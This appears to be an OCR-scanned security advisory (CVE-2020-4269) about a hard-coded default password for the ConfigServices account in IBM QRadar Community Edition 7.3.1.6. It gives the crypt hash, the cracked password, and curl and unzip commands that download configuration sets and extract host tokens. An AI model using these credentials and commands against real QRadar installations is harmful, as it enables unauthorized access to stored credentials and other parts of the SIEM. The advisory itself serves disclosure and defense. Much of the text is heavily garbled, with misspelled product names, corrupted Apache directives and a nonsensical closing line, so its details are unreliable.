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QRadar Community Edition 7.3.1.6 Default Credentials

Authored by Yorick Koster, Securify B.V.

QRadar Community Edition version 7.3.1.6 is deployed with a default password for the ConfigServices account Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar.

advisories | CVE-2020-4269

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(Radar is deployed with a default password for the ConfigServices account. Using this default password it is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of (Radar. CVS-2020-4269 [2] 6189711 [3] - IBM QRadar SIEM contains hard-coded credentials (CVS-2020-426) Tested versions
This issue was successfully verified on QRadar Community Edition [4] version 7.3.1.6 (7.3.1 Build 20180723171558). ELM has released the following versions of QRader in which this issue has been resolved: ORadar / ORM / QVM / QNI 7.4.0 GA [5] (SFS)
ORadar / ORM / QVM / QNIF / QNI 7.3.3 Fatch 3 [6] (SFS)
ORadar / QNA / QVM / QNIF / QNI 7.3.2 Fatch 7 [7] (SFS)
ORadar Incident Forensics 7.4.0 [8] (ISO)
ORadar Incident Forensics 7.4.0 [8] (ISFS) As a workaround it is possible to remove or disable the configservices account in the file /opt/qradar/conf/users.conf. Introduction

GRadar [10] is IBM's enterprise SIEM [11] solution. A free version of GRadar is available that is known as GRadar Community Edition [4]. To version is limited to 50 events per second and 5,000 network flows a minute, supports apps, but is based on a smaller footprint for non-enterprise use. So-called configuration sets can be downloaded via the web interface. These sets are normally only accessible for the ConfigGervices user. It was found that QRadar is deployed with a default password for the ConfigGervices account. Using this default password is is possible to download configuration sets containing sensitive information, including (encrypted) credentials and host tokens. With these host tokens it is possible to access other parts of QRadar. Details Details

The Apache configuration for the QRadar web interface contains a configuration alias that maps to the /store/configuration alias that maps to the /store/configurationsets folder. This folder is protected with the mod_authm_file [12] Apache Module. The only user that is allowed through is the configurervices user. /etc/httpd/conf.d/configeervices_httpd.conf:
Alias /configuration /store/configuervices/configurationsets
Olirectory /store/configuervices/configurationsets
AuthType Basic
AuthType Basic
AuthMaserTie /opt/qradar/conf/users.conf
AuthMaserTie /opt/qradar/conf/users.conf
Options Indexes Includes FoliowSymLinks MultiViews ExecCGI
AliowOverride All <Limit GET POST>
require user configservices
</Limit>
</Directory> The password for this user is set in the file 'opt/gradar/conf/users.conf. The password is protected with the crypt ligorithm, the crypted password is the same for all QRadar installations. dmin:null:ALL:root@localhost:Admin: onfigservices:/wEPae8TzCqmM:ALL::ConfigServices: Cracking the crypted password quickly reveals that the corresponding password is gradar: \$ python -c 'import crypt; print(crypt.crypt("qradar", "/w"))'
/wEPae8TzCqmM With the found password it is now possible to download the configuration set from the web server: \$ curl --insecure --user configservices:qradar https://<ip>/configuration/globalset_list.xml It should be noted that the default password of the configuracions user only works for the configuration alias as configured in Apache. Recent versions of QBadaz still use the ConfigServices user in other parts of the web interface. These parts either use a random password (stored in PostgreSQD) or a so-called host token (via the SEC header or cookie). Nowever, using the default password it is possible to retrieve the value of this host token and thus gean access to other parts of QBadar. curl --insecure --user configservices:qradar -o
/tmp/zipfile (GEN.tull.zip
https://tipP/configuration/zipfile_GEN.full.zip
unzip -p /tmp/zipfile_GEN.full.zip /host_tokens.masterlist | grep
CONSOLE_ROSCONTEXT



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The unext.conf optimization file is updated when changes are made to

the user and or premisation configuration of Quadar. The new sears.conf

is first written to staging and made effective when the changes to

staging have been deployed. When this happess the password digest of the

configurations user is overwritten with null effectively disabling the

account. Consequently, on larger setups it is likely that changes have

cos.qlabs.core.shared.permissions.UserManager:

public class UserManager extends SingletonSupport implements

[Most of the stage of the configuration of the configurati
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